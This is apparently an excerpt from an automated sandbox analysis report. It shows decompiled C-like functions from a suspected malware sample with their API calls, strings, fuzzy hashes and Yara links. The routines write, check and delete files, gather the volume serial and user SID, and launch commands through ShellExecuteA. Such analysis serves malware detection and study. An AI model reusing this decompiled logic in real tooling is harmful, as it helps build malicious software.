Function 004099D2, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E004099D2(int __edx, void* __eflags, CHAR* _a4, CHAR* _a8, CHAR* _a12, intOrPtr _a16, int _a20) {
				signed int _t14;
				void* _t21;
				CHAR* _t22;
				void* _t24;
				int _t25;

				_t25 = __edx;
				_t22 = _a8;
				lstrcpyA(_t22, _a4);
				E00408274(_t22);
				_push(0);
				_push(_a12);
				_t14 = E00406C6F((E0040ECA5() & 0x0000000f) << 0x00000014 | 0x00006108);
				_pop(_t24);
				_push(_t14 ^ 0x61616161);
				E0040F133();
				lstrcatA(_a12, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
				E0040EE2A(_t24, 0x4122f8, 0, 0x100);
				lstrcatA(_t22, _a12);
				_t21 = E00406A60(_t25, _t22, _a16, _a20); // executed
				return _t21;
			}

0x004099d2
0x004099d6
0x004099df
0x004099e6
0x004099ec
0x004099ee
0x00409a02
0x00409a07
0x00409a0d
0x00409a0e
0x00409a3c
0x00409a46
0x00409a52
0x00409a5b
0x00409a67

APIs

lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

Part of subcall function 00406A60: CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,74E481D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
Part of subcall function 00406A60: GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
Part of subcall function 00406A60: GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
Part of subcall function 00406A60: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
Part of subcall function 00406A60: DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80

Strings

PromptOnSecureDesktop, xrefs: 004099D9, 00409A24, 00409A29, 00409A45

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Filelstrcat$CloseCreateDeleteDiskErrorFreeHandleLastSpacelstrcpy
String ID: PromptOnSecureDesktop
API String ID: 4131120076-2980165447
Opcode ID: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction ID: 3080a8c352511dab3afe6aac1e5f9bdd01cc5e55c8c8f00722b444f0ba2a7742
Opcode Fuzzy Hash: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction Fuzzy Hash: D6018F7294020877EE106F62AC47F9F3E1DEB54718F04883AF619790D2D9BA94709A6C

Uniqueness

Uniqueness Score: -1.00%

Function 00404000, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404000(CHAR* _a4, signed int* _a8) {
				void* _t3;
				long _t6;
				void* _t8;
				signed int* _t9;

				_t9 = _a8;
				_t8 = 0;
				 *_t9 =  *_t9 | 0xffffffff;
				while(1) {
					_t3 = CreateFileA(_a4, 0xc0000000, 3, 0, 3, 0x40000080, 0); // executed
					if(_t3 != 0xffffffff) {
						break;
					}
					_t6 = GetLastError();
					if(_t6 == 2 || _t6 == 3) {
						L6:
						return 0;
					} else {
						if(_t6 == 5) {
							L9:
							return 1;
						}
						Sleep(0x1f4);
						_t8 = _t8 + 1;
						if(_t8 < 0xa) {
							continue;
						}
						goto L6;
					}
				}
				 *_t9 = _t3;
				goto L9;
			}

0x00404001
0x00404006
0x00404008
0x0040400b
0x00404021
0x0040402a
0x00000000
0x00000000
0x0040402c
0x00404035
0x00404052
0x00000000
0x0040403c
0x0040403f
0x00404059
0x00000000
0x0040405b
0x00404046
0x0040404c
0x00404050
0x00000000
0x00000000
0x00000000
0x00404050
0x00404035
0x00404057
0x00000000

APIs

CreateFileA.KERNELBASE(40000080,C0000000,00000003,00000000,00000003,40000080,00000000,00000001,PromptOnSecureDesktop,004042B6,00000000,00000001,PromptOnSecureDesktop,00000000,?,004098FD), ref: 00404021
GetLastError.KERNEL32(?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 0040402C
Sleep.KERNEL32(000001F4,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404046

Strings

PromptOnSecureDesktop, xrefs: 00404000

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLastSleep
String ID: PromptOnSecureDesktop
API String ID: 408151869-2980165447
Opcode ID: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction ID: 3804347f6bd7ba573f3b83e06e35dce69dd086f5e0a34025cfebbc3953b0dfe0
Opcode Fuzzy Hash: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction Fuzzy Hash: 05F0A771240101AAD7311B24BC49B5B36A1DBC6734F258B76F3B5F21E0C67458C19B1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC54, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040EC54() {
				long _v8;
				struct _FILETIME _v16;
				signed int _t11;

				GetSystemTimeAsFileTime( &_v16);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0); // executed
				_t11 = (GetTickCount() ^ _v16.dwHighDateTime ^ _v8) & 0x7fffffff;
				 *0x4136cc = _t11;
				return _t11;
			}

0x0040ec5e
0x0040ec72
0x0040ec84
0x0040ec89
0x0040ec8f

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
GetTickCount.KERNEL32 ref: 0040EC78

Strings

0t, xrefs: 0040EC78

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID: 0t
API String ID: 1209300637-1355922044
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 00426B20, Relevance: 6.3, APIs: 4, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__nh_malloc_dbg.LIBCMTD ref: 00426BAB
__nh_malloc_dbg.LIBCMTD ref: 00426CD7

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: 57bda3119e0d25c86afb1b149a175ea8538e375507561065382d73172b65b174
Instruction ID: c4adf9f9ac7b6cd74daea8aebcbcbb383ffa9431800d830f40b9f3c0dd135be8
Opcode Fuzzy Hash: 57bda3119e0d25c86afb1b149a175ea8538e375507561065382d73172b65b174
Instruction Fuzzy Hash: 78E14A74E04258CFDB24CFA8D894BADFBB1BB49318F65825ED8256B382C7349846CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406987, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E00406987(void* __ecx, void* _a4, void* _a8, intOrPtr _a12, signed int _a16) {
				long _v8;
				long _v12;
				signed int _t50;
				int _t52;
				signed int _t53;
				int _t59;
				signed int _t60;
				long _t68;
				signed int _t74;
				void* _t78;
				void* _t85;

				_t78 = _a8;
				_t48 =  *((intOrPtr*)(_t78 + 0x3c)) + _t78;
				_t7 =  &_a16; // 0x406b2c
				_t85 = (( *( *((intOrPtr*)(_t78 + 0x3c)) + _t78 + 6) & 0x0000ffff) - 1) * 0x28 + ( *(_t48 + 0x14) & 0x0000ffff) + _t48 + 0x18;
				_t68 =  *(_t85 + 0x14);
				_t50 =  *_t7 - _t68;
				_v8 = _t50;
				if(_t68 >= _a12) {
					L5:
					_a16 = _a16 & 0x00000000;
				} else {
					_t74 =  *(_t85 + 0x10);
					if(_t74 == 0) {
						goto L5;
					} else {
						_v12 = _t74;
						_a16 = _t50 / _t74;
						if(_a16 < 1) {
							_a16 = 1;
						}
						_t20 =  &_a16; // 0x406b2c
						 *(_t85 + 0x10) =  *_t20 * _t74;
					}
				}
				_v8 = _v8 & 0x00000000;
				_t52 = WriteFile(_a4, _t78, _t68,  &_v8, 0); // executed
				if(_t52 == 0 || _v8 != _t68) {
					if(_a16 != 0) {
						 *(_t85 + 0x10) = _v12;
					}
					_t53 = 0;
				} else {
					if(_a16 == 0) {
						L13:
						_t53 = _t68;
					} else {
						 *(_t85 + 0x10) = _v12;
						while(1) {
							_v8 = _v8 & 0x00000000;
							_t59 = WriteFile(_a4, _a8 +  *(_t85 + 0x14), _v12,  &_v8, 0); // executed
							_t60 = _v8;
							if(_t59 == 0 || _t60 != _v12) {
								break;
							}
							_t68 = _t68 + _t60;
							_t41 =  &_a16;
							 *_t41 = _a16 - 1;
							if( *_t41 != 0) {
								continue;
							} else {
								goto L13;
							}
							goto L18;
						}
						asm("sbb eax, eax");
						_t53 =  !_t60 & _t68 + _t60;
					}
				}
				L18:
				return _t53;
			}

0x0040698f
0x00406995
0x004069a7
0x004069aa
0x004069ac
0x004069af
0x004069b1
0x004069b7
0x004069e0
0x004069e0
0x004069b9
0x004069b9
0x004069be
0x00000000
0x004069c0
0x004069c4
0x004069c7
0x004069d0
0x004069d2
0x004069d2
0x004069d5
0x004069db
0x004069db
0x004069be
0x004069e4
0x004069f9
0x004069fd
0x00406a51
0x00406a56
0x00406a56
0x00406a59
0x00406a04
0x00406a08
0x00406a3c
0x00406a3c
0x00406a0a
0x00406a0d
0x00406a10
0x00406a10
0x00406a27
0x00406a2b
0x00406a2e
0x00000000
0x00000000
0x00406a35
0x00406a37
0x00406a37
0x00406a3a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a3a
0x00406a45
0x00406a49
0x00406a49
0x00406a08
0x00406a5b
0x00406a5f

APIs

WriteFile.KERNELBASE(00409A60,?,?,00000000,00000000,00409A60,?,00000000), ref: 004069F9
WriteFile.KERNELBASE(00409A60,?,00409A60,00000000,00000000), ref: 00406A27

Strings

,k@, xrefs: 004069A7, 004069D5

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID: ,k@
API String ID: 3934441357-1053005162
Opcode ID: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction ID: 2e4882fff751b5905bcc38bfa2cd4d67bf9c642b42fdf425c00f27fbfd993b21
Opcode Fuzzy Hash: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction Fuzzy Hash: 3A313A72A00209EFDB24DF58D984BAA77F4EB44315F12847AE802F7680D374EE64CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0041BB0A, Relevance: 4.6, APIs: 3, Instructions: 142COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041BC99
_memset.LIBCMT ref: 0041BCB6
_memset.LIBCMT ref: 0041BCD1

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: d87c2af447a1c46c083f72b15c3098b92c9980e1bcae8202fb981b826c8eb59b
Instruction ID: 0f909170d4935a589ad419227a8bc71fababe9f4152c622339e2c277d2eef2dd
Opcode Fuzzy Hash: d87c2af447a1c46c083f72b15c3098b92c9980e1bcae8202fb981b826c8eb59b
Instruction Fuzzy Hash: CE512AB9A042088FCB58CF54DA94BD9B7F1FB4D304F20815AE9056B391D739AD84CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B90F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

QQ, xrefs: 0041B909

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: 935c1a3ff51b284a9f212f8a5c86713536fe4031c92ce3df5ebb1bb0ee51316a
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: F501F6F5A1410AEBDB04DF94D980BEB77B4EB48304F10815AFA0A87241D338EA92DB95

Uniqueness

Uniqueness Score: -1.00%

Function 004091EB, Relevance: 3.1, APIs: 2, Instructions: 119
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004091EB(char* _a4, char* _a8) {
				signed int _v8;
				signed int _v12;
				char _v524;
				char _t24;
				char* _t25;
				void* _t27;
				intOrPtr* _t29;
				char* _t31;
				char _t34;
				intOrPtr _t40;
				void* _t41;
				char* _t42;
				void* _t44;
				void* _t45;
				void* _t46;

				_v12 = _v12 & 0x00000000;
				_t42 = _a8;
				_v8 = 0x10;
				if( *_t42 == 0) {
					L33:
					return _v12;
				} else {
					goto L1;
				}
				do {
					L1:
					_t31 = E0040ED03(_t42, 0xd);
					if(_t31 != 0) {
						L6:
						_t44 = _t31 - _t42;
						if(_t44 >= 0x200) {
							_t44 = 0x1ff;
						}
						E0040EE08( &_v524, _t42, _t44);
						_t46 = _t46 + 0xc;
						 *((char*)(_t45 + _t44 - 0x208)) = 0;
						if(_v524 == 0) {
							goto L27;
						} else {
							_t25 =  &_v524;
							if(_v524 != 0x20) {
								L16:
								while( *_t25 == 0x22) {
									while(1) {
										_t25 =  &(_t25[1]);
										_t34 =  *_t25;
										if(_t34 == 0) {
											break;
										}
										if(_t34 == 0x22) {
											L15:
											_t25 =  &(_t25[1]);
											goto L16;
										}
									}
									if(_t34 != 0x22) {
										L20:
										while( *_t25 != 0) {
											if( *_t25 == 0x20) {
												L22:
												 *_t25 = 0;
												do {
													_t25 =  &(_t25[1]);
												} while ( *_t25 == 0x20);
												L26:
												_t27 = ShellExecuteA(0, _a4,  &_v524, _t25, 0, 0); // executed
												_v12 = _t27;
												if(_t27 != 0x2a) {
													 *0x412180 = _v8 | 0x61080100;
													 *0x41217c = _t27;
													return _t27;
												} else {
													goto L27;
												}
												while(1) {
													L27:
													_t24 =  *_t31;
													if(_t24 != 0xd && _t24 != 0xa) {
														goto L30;
													}
													_t31 = _t31 + 1;
												}
												goto L30;
											}
											_t25 =  &(_t25[1]);
										}
										if( *_t25 != 0x20) {
											_t25 = 0;
											goto L26;
										}
										goto L22;
									}
									goto L15;
								}
								goto L20;
							} else {
								goto L10;
							}
							do {
								L10:
								_t25 =  &(_t25[1]);
							} while ( *_t25 == 0x20);
							goto L16;
						}
					}
					_t31 = E0040ED03(_t42, 0xa);
					if(_t31 != 0) {
						goto L6;
					}
					_t29 = _t42;
					_t5 = _t29 + 1; // 0x409689
					_t41 = _t5;
					do {
						_t40 =  *_t29;
						_t29 = _t29 + 1;
					} while (_t40 != 0);
					_t31 = _t29 - _t41 + _t42;
					goto L6;
					L30:
					_t42 = _t31;
					if( *_t31 != 0) {
						Sleep(0x1f4); // executed
					}
					_v8 = _v8 + 1;
				} while ( *_t31 != 0);
				goto L33;
			}

0x004091f4
0x004091fb
0x00409201
0x00409208
0x00409308
0x00000000
0x00000000
0x00000000
0x00000000
0x0040920e
0x0040920e
0x00409216
0x0040921c
0x0040923f
0x00409241
0x00409249
0x0040924b
0x0040924b
0x00409259
0x0040925e
0x00409261
0x00409270
0x00000000
0x00409272
0x00409279
0x0040927f
0x00000000
0x0040929b
0x0040928e
0x0040928e
0x0040928f
0x00409293
0x00000000
0x00000000
0x0040928c
0x0040929a
0x0040929a
0x00000000
0x0040929a
0x0040928c
0x00409298
0x00000000
0x004092a8
0x004092a5
0x004092b2
0x004092b2
0x004092b5
0x004092b5
0x004092b6
0x004092bf
0x004092cf
0x004092d5
0x004092db
0x00409319
0x0040931f
0x00000000
0x00000000
0x00000000
0x00000000
0x004092dd
0x004092dd
0x004092dd
0x004092e1
0x00000000
0x00000000
0x004092e7
0x004092e7
0x00000000
0x004092dd
0x004092a7
0x004092a7
0x004092b0
0x004092bd
0x00000000
0x004092bd
0x00000000
0x004092b0
0x00000000
0x00409298
0x00000000
0x00000000
0x00000000
0x00000000
0x00409281
0x00409281
0x00409281
0x00409282
0x00000000
0x00409287
0x00409270
0x00409226
0x0040922c
0x00000000
0x00000000
0x0040922e
0x00409230
0x00409230
0x00409233
0x00409233
0x00409235
0x00409236
0x0040923c
0x00000000
0x004092ea
0x004092ed
0x004092ef
0x004092f6
0x004092f6
0x004092fc
0x004092ff
0x00000000

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000023,00000000,00000000), ref: 004092CF
Sleep.KERNELBASE(000001F4,00000000,00000000,000000C8), ref: 004092F6

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-0
Opcode ID: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction ID: 162d7f392e51f347a0f03a95c4dfe3fd2355f2c09eeccb2d2824a4f222a18d72
Opcode Fuzzy Hash: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction Fuzzy Hash: 7D41EE718083497EEB269664988C7E73BA49B52310F2809FFD492B72D3D7BC4D818759

Uniqueness

Uniqueness Score: -1.00%

Function 00406E36, Relevance: 3.1, APIs: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406E36(intOrPtr _a4, intOrPtr _a8) {
				long _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				intOrPtr _v60;
				intOrPtr _v76;
				void _v84;
				short _v340;
				short _v860;
				int _t20;
				int _t28;
				intOrPtr _t30;
				signed int _t31;
				signed int _t32;

				_t32 = _t31 | 0xffffffff;
				_v8 = 0x104;
				_t20 = GetUserNameW( &_v860,  &_v8); // executed
				if(_t20 != 0) {
					_v8 = 0x7c;
					_v12 = 0x80;
					_t28 = LookupAccountNameW(0,  &_v860,  &_v84,  &_v8,  &_v340,  &_v12,  &_v16); // executed
					if(_t28 != 0) {
						if(_v8 < 0xc || _v76 != _a4) {
							L8:
							_t32 = 1;
						} else {
							_t30 = _a8;
							if(_t30 == 0 || _v8 >= 0x1c && _v60 == _t30) {
								_t32 = 0;
							} else {
								goto L8;
							}
						}
					}
				}
				return _t32;
			}

0x00406e4b
0x00406e4e
0x00406e55
0x00406e5d
0x00406e7f
0x00406e86
0x00406e8d
0x00406e95
0x00406e9b
0x00406ebb
0x00406ebd
0x00406ea5
0x00406ea5
0x00406eaa
0x00406eb7
0x00000000
0x00000000
0x00000000
0x00406eaa
0x00406e9b
0x00406e95
0x00406ec2

APIs

GetUserNameW.ADVAPI32(?,00401FA1), ref: 00406E55
LookupAccountNameW.ADVAPI32(00000000,?,?,00000104,?,00000000,00000012), ref: 00406E8D

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID:
API String ID: 2370142434-0
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: d69833bf2c7126fc9b7bd4b1d5117f4fe90a033eeaed535c4400ab00b2689cfd
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: 0211F776900218EBDF21CFD4C884ADFB7BCAB04741F1542B6E502F6290DB749B989BE4

Uniqueness

Uniqueness Score: -1.00%

Function 00419B29, Relevance: 3.0, APIs: 2, Instructions: 39librarymemoryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(00441768,?,0041A3DD,?,?,?,?,0041B735,00400000,00000000,?,0000000A), ref: 00419B8A
VirtualProtect.KERNELBASE(00000040,00000000,?,0041A3DD,?,?,?,?,0041B735,00400000,00000000,?,0000000A), ref: 00419C09

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction ID: a44d3fd7188d438d037021823585f88e8d970895fa3d624442d68c6aa49d3ab3
Opcode Fuzzy Hash: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction Fuzzy Hash: 69211B2C54C7C0D9E302E738EE087453E969323769F1841A991D55A2B2C7FF21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 00419B80, Relevance: 3.0, APIs: 2, Instructions: 27librarymemoryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(00441768,?,0041A3DD,?,?,?,?,0041B735,00400000,00000000,?,0000000A), ref: 00419B8A
VirtualProtect.KERNELBASE(00000040,00000000,?,0041A3DD,?,?,?,?,0041B735,00400000,00000000,?,0000000A), ref: 00419C09

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: 4e334d535af56fa0810b7a25bb3ddb1e4e542114f86c12e4814b62ee350c1eb0
Instruction ID: 1aa4839f38af6ffd0a5f10ae6327e5a36d7292e76679eb2ebd5643d0e20a332f
Opcode Fuzzy Hash: 4e334d535af56fa0810b7a25bb3ddb1e4e542114f86c12e4814b62ee350c1eb0
Instruction Fuzzy Hash: 0C019D2C44C3C0DDE302E738AE087413F96D727759F0841A8D1E55A2B2C7BA21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 004295D6, Relevance: 3.0, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

___crtExitProcess.LIBCMTD ref: 004295E5

Part of subcall function 00426430: ___crtCorExitProcess.LIBCMTD ref: 00426439

RtlAllocateHeap.NTDLL(0054B04C,00000000,00000001), ref: 00429618

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: ExitProcess___crt$AllocateHeap
String ID:
API String ID: 215841669-0
Opcode ID: ab88841c96bfd5c5e774df825849cfd8fc0bd1e7f385775d39aa27ea3b064b30
Instruction ID: b9d764b5b0399a589c3d25ef3eee52da959ee77d19cf5c6cc037a99a9d8d6486
Opcode Fuzzy Hash: ab88841c96bfd5c5e774df825849cfd8fc0bd1e7f385775d39aa27ea3b064b30
Instruction Fuzzy Hash: D3E0D8B4F00214FBFB149F50F8C67BA37A0EB1035CF50416AF80A09290E6799D94DB9B

Uniqueness

Uniqueness Score: -1.00%

Function 006C0DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,006C0223,?,?), ref: 006C0E02
SetErrorMode.KERNELBASE(00000000,?,?,006C0223,?,?), ref: 006C0E07

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: fc8cacf35872669303857950a0e440ad036042d0b10adadc32fc5e1330f70b4a
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: F6D0123114512CB7D7002B94DC09BDD7B1CDF05B66F008011FB0DD9181C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EBCC, Relevance: 3.0, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EBCC(long _a4) {
				void* _t3;
				void* _t7;

				_t3 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t3;
				E0040EB74(_t7);
				return _t7;
			}

0x0040ebda
0x0040ebe0
0x0040ebe3
0x0040ebec

APIs

GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Part of subcall function 0040EB74: GetProcessHeap.KERNEL32(00000000,00000000,0040EC28,00000000,?,0040DB55,7FFF0001), ref: 0040EB81
Part of subcall function 0040EB74: HeapSize.KERNEL32(00000000,?,0040DB55,7FFF0001), ref: 0040EB88

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateSize
String ID:
API String ID: 2559512979-0
Opcode ID: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction ID: 42103369b453d960252fa070f8f6fdc0a0ffae9c693debdf4c74a5c852f77059
Opcode Fuzzy Hash: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction Fuzzy Hash: 54C0803210422077C60127A57C0CEDA3E74DF04352F084425F505C1160CB794880879D

Uniqueness

Uniqueness Score: -1.00%

Function 00406DC2, Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406DC2(void* __ecx) {
				char _v261;
				char _v264;
				long _t6;
				intOrPtr* _t10;
				int _t13;
				intOrPtr _t20;
				void* _t21;

				_t6 =  *0x412f0c; // 0xe51c43a4
				if(_t6 == 0) {
					E0040EF00( &_v264, E00406CC9(__ecx));
					_t10 =  &_v264;
					_t21 = _t10 + 1;
					do {
						_t20 =  *_t10;
						_t10 = _t10 + 1;
					} while (_t20 != 0);
					if(_t10 - _t21 < 3) {
						L5:
						 *0x412f0c = 0x61616161;
					} else {
						_v261 = 0;
						_t13 = GetVolumeInformationA( &_v264, 0, 0, 0x412f0c, 0, 0, 0, 0); // executed
						if(_t13 == 0) {
							goto L5;
						}
					}
					_t6 =  *0x412f0c; // 0xe51c43a4
				}
				return _t6;
			}

0x00406dc5
0x00406dd5
0x00406de4
0x00406dea
0x00406df1
0x00406df4
0x00406df4
0x00406df6
0x00406df7
0x00406e00
0x00406e24
0x00406e24
0x00406e02
0x00406e14
0x00406e1a
0x00406e22
0x00000000
0x00000000
0x00406e22
0x00406e2e
0x00406e2e
0x00406e35

APIs

